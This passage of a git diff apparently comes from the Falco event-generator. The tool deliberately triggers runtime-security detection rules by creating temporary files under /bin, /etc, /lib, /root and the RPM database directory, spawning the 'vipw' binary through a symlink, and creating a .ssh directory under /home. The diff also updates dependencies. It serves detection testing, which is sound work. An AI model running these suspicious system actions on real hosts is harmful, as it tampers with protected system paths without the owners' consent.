"syscall.UnprivilegedDelegationofPageFaultsHandlingtoaUserspaceProcess") } diff --git a/events/syscall/user_mgmt_binaries.go b/events/syscall/user_mgmt_binaries.go index 6443429c..d3bf9fc0 100644 --- a/events/syscall/user_mgmt_binaries.go +++ b/events/syscall/user_mgmt_binaries.go @@ -29,8 +29,9 @@ var _ = events.Register( func UserMgmtBinaries(h events.Helper) error { if h.InContainer() { return &events.ErrSkipped{ - Reason: "'User mgmt binaries' is excluded in containers", + Reason: "not applicable to containers", } } + return h.SpawnAsWithSymlink("vipw", "helper.ExecLs") } diff --git a/events/syscall/utils_linux.go b/events/syscall/utils_linux.go index 28320209..665c4e12 100644 --- a/events/syscall/utils_linux.go +++ b/events/syscall/utils_linux.go @@ -18,11 +18,14 @@ limitations under the License. package syscall import ( + "fmt" + "math/rand/v2" "os" "os/exec" "os/user" "path/filepath" "strconv" + "strings" sys "syscall" "github.com/falcosecurity/event-generator/events" @@ -36,7 +39,7 @@ import ( // Thus, becameUser may or not affect other goroutines. func becameUser(h events.Helper, username string) error { h.Log().WithField("user", username). - Info("became user") + Infof("became %q", username) u, err := user.Lookup(username) if err != nil { @@ -68,7 +71,7 @@ func runAsUser(h events.Helper, username string, cmdName string, cmdArgs ...stri h.Log().WithField("user", username). WithField("cmdName", cmdName). WithField("cmdArgs", cmdArgs). - Info("run command as another user") + Infof("run as %q", username) u, err := user.Lookup(username) if err != nil { @@ -91,26 +94,56 @@ func runAsUser(h events.Helper, username string, cmdName string, cmdArgs ...stri Uid: uint32(uid), Gid: uint32(gid), } - return cmd.Run() + + // for easier debugging of errors, return the combined (stdout and stderr) output of the command execution + if out, err := cmd.CombinedOutput(); err != nil { + if o := strings.TrimSpace(string(out)); o != "" { + // note: we might need to unwrap the error later on if we want to check the exit code + // example: SystemUserInteractive event + return fmt.Errorf("%w: %s", err, o) + } + return err + } + + return nil } -// Creates a temp directory and .ssh directory inside it. -func createSshDirectoryUnderHome() (string, func(), error) { - // Creates temporary data for testing. - var ( - tempDirectoryName string - err error - ) - // Loop until a unique temporary directory is successfully created - if tempDirectoryName, err = os.MkdirTemp("/home", "falco-event-generator-"); err != nil { +// createSshDirectoryUnderHome creates a temp directory under /home and .ssh directory inside it. +func createSshDirectoryUnderHome(h events.Helper) (string, func(), error) { + // create a unique temp directory under /home + tmpDir, err := os.MkdirTemp("/home", "falco-event-generator-syscall-SshDirectory-") + if err != nil { return "", func() {}, err } - // Create the SSH directory - sshDir := filepath.Join(tempDirectoryName, ".ssh") - if err := os.Mkdir(sshDir, 0755); err != nil { - return "", func() { _ = os.RemoveAll(tempDirectoryName) }, err + // create .ssh subdirectory + sshDir := filepath.Join(tmpDir, ".ssh") + if err := os.Mkdir(sshDir, os.FileMode(0755)); err != nil { + return "", func() { + // any cleanup error should be logged but not returned + if err := os.RemoveAll(tmpDir); err != nil { + h.Log().WithError(err).Error("failed to remove temp directory") + } + }, err + } + + return sshDir, func() { + // any cleanup error should be logged but not returned + if err := os.RemoveAll(tmpDir); err != nil { + h.Log().WithError(err).Error("failed to remove temp directory") + } + }, nil +} + +// randomString generates a random string of the given length. +func randomString(length int) string { + const charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" + + bytes := make([]byte, length) + + for i := range bytes { + bytes[i] = charset[rand.IntN(len(charset))] } - return sshDir, func() { _ = os.RemoveAll(tempDirectoryName) }, nil + return string(bytes) } diff --git a/events/syscall/write_below_binary_dir.go b/events/syscall/write_below_binary_dir.go index 5cdb7dc3..6d7a98cb 100644 --- a/events/syscall/write_below_binary_dir.go +++ b/events/syscall/write_below_binary_dir.go @@ -26,8 +26,29 @@ var _ = events.Register( ) func WriteBelowBinaryDir(h events.Helper) error { - const filename = "/bin/created-by-event-generator" - h.Log().Infof("writing to %s", filename) - defer os.Remove(filename) - return os.WriteFile(filename, nil, os.FileMode(0755)) + // ensure /bin exists + if _, err := os.Stat("/bin"); os.IsNotExist(err) { + if err := os.Mkdir("/bin", os.FileMode(0755)); err != nil { + return err + } + // remove /bin directory + defer func() { + if err := os.RemoveAll("/bin"); err != nil { + h.Log().WithError(err).Error("failed to remove /bin directory") + } + }() + } + + // create a unique file under /bin directory + file, err := os.CreateTemp("/bin", "falco-event-generator-syscall-WriteBelowBinaryDir-") + if err != nil { + return err + } + defer func() { + if err := os.Remove(file.Name()); err != nil { + h.Log().WithError(err).Error("failed to remove temp file") + } + }() + + return nil } diff --git a/events/syscall/write_below_etc.go b/events/syscall/write_below_etc.go index a2d141f0..cb9d0cf3 100644 --- a/events/syscall/write_below_etc.go +++ b/events/syscall/write_below_etc.go @@ -26,8 +26,29 @@ var _ = events.Register( ) func WriteBelowEtc(h events.Helper) error { - const filename = "/etc/created-by-event-generator" - h.Log().Infof("writing to %s", filename) - defer os.Remove(filename) - return os.WriteFile(filename, nil, os.FileMode(0755)) + // ensure /etc exists + if _, err := os.Stat("/etc"); os.IsNotExist(err) { + if err := os.Mkdir("/etc", os.FileMode(0755)); err != nil { + return err + } + // remove /etc directory + defer func() { + if err := os.RemoveAll("/etc"); err != nil { + h.Log().WithError(err).Error("failed to remove /etc directory") + } + }() + } + + // create a unique file under /etc directory + file, err := os.CreateTemp("/etc", "falco-event-generator-syscall-WriteBelowEtc-") + if err != nil { + return err + } + defer func() { + if err := os.Remove(file.Name()); err != nil { + h.Log().WithError(err).Error("failed to remove temp file") + } + }() + + return nil } diff --git a/events/syscall/write_below_monitored_dir.go b/events/syscall/write_below_monitored_dir.go index 62c003aa..ca1c37ab 100644 --- a/events/syscall/write_below_monitored_dir.go +++ b/events/syscall/write_below_monitored_dir.go @@ -26,20 +26,28 @@ var _ = events.Register( ) func WriteBelowMonitoredDir(h events.Helper) error { - const filename = "/lib/created-by-event-generator" - - // Check if the directory exists - _, err := os.Stat("/lib") - - if os.IsNotExist(err) { - // Create the directory if it doesn't exist - if err := os.MkdirAll("/lib", 0755); err != nil { + // ensure /lib directory exists + if _, err := os.Stat("/lib"); os.IsNotExist(err) { + if err := os.Mkdir("/lib", os.FileMode(0755)); err != nil { return err } - defer os.Remove("/lib") + defer func() { + if err := os.RemoveAll("/lib"); err != nil { + h.Log().WithError(err).Error("failed to remove /lib directory") + } + }() } - h.Log().Infof("writing to %s", filename) - defer os.Remove(filename) - return os.WriteFile(filename, nil, os.FileMode(0755)) + // create a unique file under /lib directory + file, err := os.CreateTemp("/lib", "falco-event-generator-syscall-WriteBelowMonitoredDir-") + if err != nil { + return err + } + defer func() { + if err := os.Remove(file.Name()); err != nil { + h.Log().WithError(err).Error("failed to remove temp file") + } + }() + + return nil } diff --git a/events/syscall/write_below_root.go b/events/syscall/write_below_root.go index 53e97efd..1b5783b4 100644 --- a/events/syscall/write_below_root.go +++ b/events/syscall/write_below_root.go @@ -26,8 +26,29 @@ var _ = events.Register( ) func WriteBelowRoot(h events.Helper) error { - const filename = "/root/created-by-event-generator" - h.Log().Infof("writing to %s", filename) - defer os.Remove(filename) - return os.WriteFile(filename, nil, os.FileMode(0755)) + // ensure /root exists + if _, err := os.Stat("/root"); os.IsNotExist(err) { + if err := os.Mkdir("/root", os.FileMode(0755)); err != nil { + return err + } + // remove /root directory + defer func() { + if err := os.RemoveAll("/root"); err != nil { + h.Log().WithError(err).Error("failed to remove /root directory") + } + }() + } + + // create a unique file under /root directory + file, err := os.CreateTemp("/root", "falco-event-generator-syscall-WriteBelowRoot-") + if err != nil { + return err + } + defer func() { + if err := os.Remove(file.Name()); err != nil { + h.Log().WithError(err).Error("failed to remove temp file") + } + }() + + return nil } diff --git a/events/syscall/write_below_rpm_database.go b/events/syscall/write_below_rpm_database.go index 487c2b19..03254002 100644 --- a/events/syscall/write_below_rpm_database.go +++ b/events/syscall/write_below_rpm_database.go @@ -26,8 +26,55 @@ var _ = events.Register( ) func WriteBelowRpmDatabase(h events.Helper) error { - const filename = "/var/lib/rpm/created-by-event-generator" - h.Log().Infof("writing to %s", filename) - defer os.Remove(filename) - return os.WriteFile(filename, nil, os.FileMode(0755)) + // ensure /var exists + if _, err := os.Stat("/var"); os.IsNotExist(err) { + if err := os.Mkdir("/var", os.FileMode(0755)); err != nil { + return err + } + // remove /var directory + defer func() { + if err := os.RemoveAll("/var"); err != nil { + h.Log().WithError(err).Error("failed to remove /var directory") + } + }() + } + + // ensure /var/lib exists + if _, err := os.Stat("/var/lib"); os.IsNotExist(err) { + if err := os.Mkdir("/var/lib", os.FileMode(0755)); err != nil { + return err + } + // remove /var/lib subdirectory only + defer func() { + if err := os.RemoveAll("/var/lib"); err != nil { + h.Log().WithError(err).Error("failed to remove /var/lib directory") + } + }() + } + + // ensure /var/lib/rpm exists + if _, err := os.Stat("/var/lib/rpm"); os.IsNotExist(err) { + if err := os.Mkdir("/var/lib/rpm", os.FileMode(0755)); err != nil { + return err + } + // remove /var/lib/rpm subdirectory only + defer func() { + if err := os.RemoveAll("/var/lib/rpm"); err != nil { + h.Log().WithError(err).Error("failed to remove /var/lib/rpm directory") + } + }() + } + + // create a unique file under /var/lib/rpm directory + file, err := os.CreateTemp("/var/lib/rpm", "falco-event-generator-syscall-WriteBelowRpmDatabase-") + if err != nil { + return err + } + defer func() { + if err := os.Remove(file.Name()); err != nil { + h.Log().WithError(err).Error("failed to remove temp file") + } + }() + + return nil } diff --git a/go.mod b/go.mod index 83fc2c39..3f5ccae7 100644 --- a/go.mod +++ b/go.mod @@ -1,56 +1,70 @@ module github.com/falcosecurity/event-generator -go 1.21 +go 1.23.1 require ( - github.com/creasty/defaults v1.7.0 + github.com/creasty/defaults v1.8.0 github.com/dustin/go-humanize v1.0.1 - github.com/falcosecurity/client-go v0.6.0 + github.com/falcosecurity/client-go v0.6.1 github.com/go-playground/locales v0.14.1 github.com/go-playground/universal-translator v0.18.1 - github.com/go-playground/validator/v10 v10.19.0 + github.com/go-playground/validator/v10 v10.22.1 github.com/iancoleman/strcase v0.3.0 github.com/mitchellh/go-homedir v1.1.0 - github.com/prometheus/procfs v0.13.0 + github.com/prometheus/procfs v0.15.1 github.com/sirupsen/logrus v1.9.3 - github.com/spf13/cobra v1.8.0 + github.com/spf13/cobra v1.8.1 github.com/spf13/pflag v1.0.5 - github.com/spf13/viper v1.18.2 + github.com/spf13/viper v1.19.0 github.com/stretchr/testify v1.9.0 - golang.org/x/sys v0.18.0 - k8s.io/apimachinery v0.29.2 - k8s.io/cli-runtime v0.29.2 - k8s.io/client-go v0.29.2 - k8s.io/kubectl v0.29.2 + golang.org/x/sys v0.25.0 + k8s.io/apimachinery v0.31.1 + k8s.io/cli-runtime v0.31.1 + k8s.io/client-go v0.31.1 + k8s.io/kubectl v0.31.1 ) +// avoid indirect dependency mergo error: +// (ref: https://github.com/darccio/mergo?tab=readme-ov-file#status) +// go: github.com/imdario/mergo@v1.0.1: parsing go.mod: +// module declares its path as: dario.cat/mergo +// but was required as: github.com/imdario/mergo +// trying github.com/imdario/mergo@v1.0.0 +// go: github.com/imdario/mergo@v1.0.0: parsing go.mod: +// module declares its path as: dario.cat/mergo +// but was required as: github.com/imdario/mergo +// restoring github.com/imdario/mergo@v0.3.16 +replace github.com/imdario/mergo => github.com/imdario/mergo v0.3.16 + require ( - github.com/Azure/go-ansiterm v0.0.0-20210617225240-d185dfc1b5a1 // indirect + github.com/Azure/go-ansiterm v0.0.0-20230124172434-306776ec8161 // indirect github.com/MakeNowJust/heredoc v1.0.0 // indirect - github.com/chai2010/gettext-go v1.0.2 // indirect - github.com/cpuguy83/go-md2man/v2 v2.0.3 // indirect + github.com/blang/semver/v4 v4.0.0 // indirect + github.com/chai2010/gettext-go v1.0.3 // indirect + github.com/cpuguy83/go-md2man/v2 v2.0.4 // indirect github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc // indirect - github.com/emicklei/go-restful/v3 v3.11.0 // indirect - github.com/evanphx/json-patch v4.12.0+incompatible // indirect - github.com/exponent-io/jsonpath v0.0.0-20151013193312-d6023ce2651d // indirect + github.com/emicklei/go-restful/v3 v3.12.1 // indirect + github.com/exponent-io/jsonpath v0.0.0-20210407135951-1de76d718b3f // indirect github.com/fsnotify/fsnotify v1.7.0 // indirect - github.com/gabriel-vasile/mimetype v1.4.3 // indirect - github.com/go-errors/errors v1.4.2 // indirect - github.com/go-logr/logr v1.3.0 // indirect - github.com/go-openapi/jsonpointer v0.19.6 // indirect - github.com/go-openapi/jsonreference v0.20.2 // indirect - github.com/go-openapi/swag v0.22.3 // indirect + github.com/fxamacker/cbor/v2 v2.7.0 // indirect + github.com/gabriel-vasile/mimetype v1.4.5 // indirect + github.com/go-errors/errors v1.5.1 // indirect + github.com/go-logr/logr v1.4.2 // indirect + github.com/go-openapi/jsonpointer v0.21.0 // indirect + github.com/go-openapi/jsonreference v0.21.0 // indirect + github.com/go-openapi/swag v0.23.0 // indirect github.com/gogo/protobuf v1.3.2 // indirect - github.com/golang/protobuf v1.5.3 // indirect - github.com/google/btree v1.0.1 // indirect + github.com/golang/protobuf v1.5.4 // indirect + github.com/google/btree v1.1.3 // indirect github.com/google/gnostic-models v0.6.8 // indirect + github.com/google/go-cmp v0.6.0 // indirect github.com/google/gofuzz v1.2.0 // indirect github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510 // indirect - github.com/google/uuid v1.4.0 // indirect - github.com/gorilla/websocket v1.5.0 // indirect - github.com/gregjones/httpcache v0.0.0-20180305231024-9cad4c3443a7 // indirect + github.com/google/uuid v1.6.0 // indirect + github.com/gorilla/websocket v1.5.3 // indirect + github.com/gregjones/httpcache v0.0.0-20190611155906-901d90724c79 // indirect github.com/hashicorp/hcl v1.0.0 // indirect - github.com/imdario/mergo v0.3.6 // indirect + github.com/imdario/mergo v1.0.1 // indirect github.com/inconshreveable/mousetrap v1.1.0 // indirect github.com/josharian/intern v1.0.0 // indirect github.com/json-iterator/go v1.1.12 // indirect @@ -60,51 +74,52 @@ require ( github.com/mailru/easyjson v0.7.7 // indirect github.com/mitchellh/go-wordwrap v1.0.1 // indirect github.com/mitchellh/mapstructure v1.5.0 // indirect - github.com/moby/spdystream v0.2.0 // indirect - github.com/moby/term v0.0.0-20221205130635-1aeaba878587 // indirect + github.com/moby/spdystream v0.5.0 // indirect + github.com/moby/term v0.5.0 // indirect github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect github.com/modern-go/reflect2 v1.0.2 // indirect github.com/monochromegane/go-gitignore v0.0.0-20200626010858-205db1a8cc00 // indirect github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 // indirect github.com/mxk/go-flowrate v0.0.0-20140419014527-cca7078d478f // indirect - github.com/pelletier/go-toml/v2 v2.1.0 // indirect + github.com/pelletier/go-toml/v2 v2.2.3 // indirect github.com/peterbourgon/diskv v2.0.1+incompatible // indirect github.com/pkg/errors v0.9.1 // indirect github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2 // indirect github.com/russross/blackfriday/v2 v2.1.0 // indirect - github.com/sagikazarmark/locafero v0.4.0 // indirect + github.com/sagikazarmark/locafero v0.6.0 // indirect github.com/sagikazarmark/slog-shim v0.1.0 // indirect github.com/sourcegraph/conc v0.3.0 // indirect github.com/spf13/afero v1.11.0 // indirect - github.com/spf13/cast v1.6.0 // indirect + github.com/spf13/cast v1.7.0 // indirect github.com/subosito/gotenv v1.6.0 // indirect + github.com/x448/float16 v0.8.4 // indirect github.com/xlab/treeprint v1.2.0 // indirect - go.starlark.net v0.0.0-20230525235612-a134d8f9ddca // indirect + go.starlark.net v0.0.0-20240725214946-42030a7cedce // indirect go.uber.org/multierr v1.11.0 // indirect - golang.org/x/crypto v0.19.0 // indirect - golang.org/x/exp v0.0.0-20230905200255-921286631fa9 // indirect - golang.org/x/net v0.21.0 // indirect - golang.org/x/oauth2 v0.15.0 // indirect - golang.org/x/sync v0.6.0 // indirect - golang.org/x/term v0.17.0 // indirect - golang.org/x/text v0.14.0 // indirect - golang.org/x/time v0.5.0 // indirect - google.golang.org/appengine v1.6.7 // indirect - google.golang.org/genproto/googleapis/rpc v0.0.0-20231120223509-83a465c0220f // indirect - google.golang.org/grpc v1.59.0 // indirect - google.golang.org/protobuf v1.31.0 // indirect + golang.org/x/crypto v0.27.0 // indirect + golang.org/x/exp v0.0.0-20240909161429-701f63a606c0 // indirect + golang.org/x/net v0.29.0 // indirect + golang.org/x/oauth2 v0.23.0 // indirect + golang.org/x/sync v0.8.0 // indirect + golang.org/x/term v0.24.0 // indirect + golang.org/x/text v0.18.0 // indirect + golang.org/x/time v0.6.0 // indirect + google.golang.org/genproto/googleapis/rpc v0.0.0-20240903143218-8af14fe29dc1 // indirect + google.golang.org/grpc v1.66.2 // indirect + google.golang.org/protobuf v1.34.2 // indirect + gopkg.in/evanphx/json-patch.v4 v4.12.0 // indirect gopkg.in/inf.v0 v0.9.1 // indirect gopkg.in/ini.v1 v1.67.0 // indirect gopkg.in/yaml.v2 v2.4.0 // indirect gopkg.in/yaml.v3 v3.0.1 // indirect - k8s.io/api v0.29.2 // indirect - k8s.io/component-base v0.29.2 // indirect - k8s.io/klog/v2 v2.110.1 // indirect - k8s.io/kube-openapi v0.0.0-20231010175941-2dd684a91f00 // indirect - k8s.io/utils v0.0.0-20230726121419-3b25d923346b // indirect + k8s.io/api v0.31.1 // indirect + k8s.io/component-base v0.31.1 // indirect + k8s.io/klog/v2 v2.130.1 // indirect + k8s.io/kube-openapi v0.0.0-20240903163716-9e1beecbcb38 // indirect + k8s.io/utils v0.0.0-20240902221715-702e33fdd3c3 // indirect sigs.k8s.io/json v0.0.0-20221116044647-bc3834ca7abd // indirect - sigs.k8s.io/kustomize/api v0.13.5-0.20230601165947-6ce0bf390ce3 // indirect - sigs.k8s.io/kustomize/kyaml v0.14.3-0.20230601165947-6ce0bf390ce3 // indirect + sigs.k8s.io/kustomize/api v0.17.3 // indirect + sigs.k8s.io/kustomize/kyaml v0.17.2 // indirect sigs.k8s.io/structured-merge-diff/v4 v4.4.1 // indirect - sigs.k8s.io/yaml v1.3.0 // indirect + sigs.k8s.io/yaml v1.4.0 // indirect ) diff --git a/go.sum b/go.sum index 0153936e..35b1f60e 100644 --- a/go.sum +++ b/go.sum @@ -1,119 +1,91 @@ -cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= -github.com/Azure/go-ansiterm v0.0.0-20210617225240-d185dfc1b5a1 h1:UQHMgLO+TxOElx5B5HZ4hJQsoJ/PvUvKRhJHDQXO8P8= -github.com/Azure/go-ansiterm v0.0.0-20210617225240-d185dfc1b5a1/go.mod h1:xomTg63KZ2rFqZQzSB4Vz2SUXa1BpHTVz9L5PTmPC4E= -github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= +github.com/Azure/go-ansiterm v0.0.0-20230124172434-306776ec8161 h1:L/gRVlceqvL25UVaW/CKtUDjefjrs0SPonmDGUVOYP0= +github.com/Azure/go-ansiterm v0.0.0-20230124172434-306776ec8161/go.mod h1:xomTg63KZ2rFqZQzSB4Vz2SUXa1BpHTVz9L5PTmPC4E= github.com/MakeNowJust/heredoc v1.0.0 h1:cXCdzVdstXyiTqTvfqk9SDHpKNjxuom+DOlyEeQ4pzQ= github.com/MakeNowJust/heredoc v1.0.0/go.mod h1:mG5amYoWBHf8vpLOuehzbGGw0EHxpZZ6lCpQ4fNJ8LE= github.com/armon/go-socks5 v0.0.0-20160902184237-e75332964ef5 h1:0CwZNZbxp69SHPdPJAN/hZIm0C4OItdklCFmMRWYpio= github.com/armon/go-socks5 v0.0.0-20160902184237-e75332964ef5/go.mod h1:wHh0iHkYZB8zMSxRWpUBQtwG5a7fFgvEO+odwuTv2gs= -github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU= -github.com/chai2010/gettext-go v1.0.2 h1:1Lwwip6Q2QGsAdl/ZKPCwTe9fe0CjlUbqj5bFNSjIRk= -github.com/chai2010/gettext-go v1.0.2/go.mod h1:y+wnP2cHYaVj19NZhYKAwEMH2CI1gNHeQQ+5AjwawxA= -github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI= -github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI= -github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU= -github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw= -github.com/cpuguy83/go-md2man/v2 v2.0.3 h1:qMCsGGgs+MAzDFyp9LpAe1Lqy/fY/qCovCm0qnXZOBM= -github.com/cpuguy83/go-md2man/v2 v2.0.3/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o= -github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E= +github.com/blang/semver/v4 v4.0.0 h1:1PFHFE6yCCTv8C1TeyNNarDzntLi7wMI5i/pzqYIsAM= +github.com/blang/semver/v4 v4.0.0/go.mod h1:IbckMUScFkM3pff0VJDNKRiT6TG/YpiHIM2yvyW5YoQ= +github.com/chai2010/gettext-go v1.0.3 h1:9liNh8t+u26xl5ddmWLmsOsdNLwkdRTg5AG+JnTiM80= +github.com/chai2010/gettext-go v1.0.3/go.mod h1:y+wnP2cHYaVj19NZhYKAwEMH2CI1gNHeQQ+5AjwawxA= +github.com/cpuguy83/go-md2man/v2 v2.0.4 h1:wfIWP927BUkWJb2NmU/kNDYIBTh/ziUX91+lVfRxZq4= +github.com/cpuguy83/go-md2man/v2 v2.0.4/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o= github.com/creack/pty v1.1.18 h1:n56/Zwd5o6whRC5PMGretI4IdRLlmBXYNjScPaBgsbY= github.com/creack/pty v1.1.18/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4= -github.com/creasty/defaults v1.7.0 h1:eNdqZvc5B509z18lD8yc212CAqJNvfT1Jq6L8WowdBA= -github.com/creasty/defaults v1.7.0/go.mod h1:iGzKe6pbEHnpMPtfDXZEr0NVxWnPTjb1bbDy08fPzYM= +github.com/creasty/defaults v1.8.0 h1:z27FJxCAa0JKt3utc0sCImAEb+spPucmKoOdLHvHYKk= +github.com/creasty/defaults v1.8.0/go.mod h1:iGzKe6pbEHnpMPtfDXZEr0NVxWnPTjb1bbDy08fPzYM= github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc h1:U9qPSI2PIWSS1VwoXQT9A3Wy9MM3WgvqSxFWenqJduM= github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY= github.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto= -github.com/emicklei/go-restful/v3 v3.11.0 h1:rAQeMHw1c7zTmncogyy8VvRZwtkmkZ4FxERmMY4rD+g= -github.com/emicklei/go-restful/v3 v3.11.0/go.mod h1:6n3XBCmQQb25CM2LCACGz8ukIrRry+4bhvbpWn3mrbc= -github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= -github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c= -github.com/evanphx/json-patch v4.12.0+incompatible h1:4onqiflcdA9EOZ4RxV643DvftH5pOlLGNtQ5lPWQu84= -github.com/evanphx/json-patch v4.12.0+incompatible/go.mod h1:50XU6AFN0ol/bzJsmQLiYLvXMP4fmwYFNcr97nuDLSk= -github.com/exponent-io/jsonpath v0.0.0-20151013193312-d6023ce2651d h1:105gxyaGwCFad8crR9dcMQWvV9Hvulu6hwUh4tWPJnM= -github.com/exponent-io/jsonpath v0.0.0-20151013193312-d6023ce2651d/go.mod h1:ZZMPRZwes7CROmyNKgQzC3XPs6L/G2EJLHddWejkmf4= -github.com/falcosecurity/client-go v0.6.0 h1:VRXuiZ7iGcPqb9lz5QvzYoaZEQUEMbHk0BL+QWTL810= -github.com/falcosecurity/client-go v0.6.0/go.mod h1:Ww+Dkm3JptGfSZGtxXp2QVwO37aqZVYUO0JaOnxeH2Y= +github.com/emicklei/go-restful/v3 v3.12.1 h1:PJMDIM/ak7btuL8Ex0iYET9hxM3CI2sjZtzpL63nKAU= +github.com/emicklei/go-restful/v3 v3.12.1/go.mod h1:6n3XBCmQQb25CM2LCACGz8ukIrRry+4bhvbpWn3mrbc= +github.com/exponent-io/jsonpath v0.0.0-20210407135951-1de76d718b3f h1:Wl78ApPPB2Wvf/TIe2xdyJxTlb6obmF18d8QdkxNDu4= +github.com/exponent-io/jsonpath v0.0.0-20210407135951-1de76d718b3f/go.mod h1:OSYXu++VVOHnXeitef/D8n/6y4QV8uLHSFXX4NeXMGc= +github.com/falcosecurity/client-go v0.6.1 h1:zDiz6PHGPdg3sScWe+4juc5n7FLJGCHI9ohAnuRSMFg= +github.com/falcosecurity/client-go v0.6.1/go.mod h1:zVjGk4GLCoBKCo+lGMmdiiL0Ag7ZVVtVt/ldubjghvk= github.com/frankban/quicktest v1.14.6 h1:7Xjx+VpznH+oBnejlPUj8oUpdxnVs4f8XU8WnHkI4W8= github.com/frankban/quicktest v1.14.6/go.mod h1:4ptaffx2x8+WTWXmUCuVU6aPUX1/Mz7zb5vbUoiM6w0= github.com/fsnotify/fsnotify v1.7.0 h1:8JEhPFa5W2WU7YfeZzPNqzMP6Lwt7L2715Ggo0nosvA= github.com/fsnotify/fsnotify v1.7.0/go.mod h1:40Bi/Hjc2AVfZrqy+aj+yEI+/bRxZnMJyTJwOpGvigM= -github.com/gabriel-vasile/mimetype v1.4.3 h1:in2uUcidCuFcDKtdcBxlR0rJ1+fsokWf+uqxgUFjbI0= -github.com/gabriel-vasile/mimetype v1.4.3/go.mod h1:d8uq/6HKRL6CGdk+aubisF/M5GcPfT7nKyLpA0lbSSk= -github.com/go-errors/errors v1.4.2 h1:J6MZopCL4uSllY1OfXM374weqZFFItUbrImctkmUxIA= -github.com/go-errors/errors v1.4.2/go.mod h1:sIVyrIiJhuEF+Pj9Ebtd6P/rEYROXFi3BopGUQ5a5Og= -github.com/go-logr/logr v1.3.0 h1:2y3SDp0ZXuc6/cjLSZ+Q3ir+QB9T/iG5yYRXqsagWSY= -github.com/go-logr/logr v1.3.0/go.mod h1:9T104GzyrTigFIr8wt5mBrctHMim0Nb2HLGrmQ40KvY= -github.com/go-openapi/jsonpointer v0.19.6 h1:eCs3fxoIi3Wh6vtgmLTOjdhSpiqphQ+DaPn38N2ZdrE= -github.com/go-openapi/jsonpointer v0.19.6/go.mod h1:osyAmYz/mB/C3I+WsTTSgw1ONzaLJoLCyoi6/zppojs= -github.com/go-openapi/jsonreference v0.20.2 h1:3sVjiK66+uXK/6oQ8xgcRKcFgQ5KXa2KvnJRumpMGbE= -github.com/go-openapi/jsonreference v0.20.2/go.mod h1:Bl1zwGIM8/wsvqjsOQLJ/SH+En5Ap4rVB5KVcIDZG2k= -github.com/go-openapi/swag v0.22.3 h1:yMBqmnQ0gyZvEb/+KzuWZOXgllrXT4SADYbvDaXHv/g= -github.com/go-openapi/swag v0.22.3/go.mod h1:UzaqsxGiab7freDnrUUra0MwWfN/q7tE4j+VcZ0yl14= +github.com/fxamacker/cbor/v2 v2.7.0 h1:iM5WgngdRBanHcxugY4JySA0nk1wZorNOpTgCMedv5E= +github.com/fxamacker/cbor/v2 v2.7.0/go.mod h1:pxXPTn3joSm21Gbwsv0w9OSA2y1HFR9qXEeXQVeNoDQ= +github.com/gabriel-vasile/mimetype v1.4.5 h1:J7wGKdGu33ocBOhGy0z653k/lFKLFDPJMG8Gql0kxn4= +github.com/gabriel-vasile/mimetype v1.4.5/go.mod h1:ibHel+/kbxn9x2407k1izTA1S81ku1z/DlgOW2QE0M4= +github.com/go-errors/errors v1.5.1 h1:ZwEMSLRCapFLflTpT7NKaAc7ukJ8ZPEjzlxt8rPN8bk= +github.com/go-errors/errors v1.5.1/go.mod h1:sIVyrIiJhuEF+Pj9Ebtd6P/rEYROXFi3BopGUQ5a5Og= +github.com/go-logr/logr v1.4.2 h1:6pFjapn8bFcIbiKo3XT4j/BhANplGihG6tvd+8rYgrY= +github.com/go-logr/logr v1.4.2/go.mod h1:9T104GzyrTigFIr8wt5mBrctHMim0Nb2HLGrmQ40KvY= +github.com/go-openapi/jsonpointer v0.21.0 h1:YgdVicSA9vH5RiHs9TZW5oyafXZFc6+2Vc1rr/O9oNQ= +github.com/go-openapi/jsonpointer v0.21.0/go.mod h1:IUyH9l/+uyhIYQ/PXVA41Rexl+kOkAPDdXEYns6fzUY= +github.com/go-openapi/jsonreference 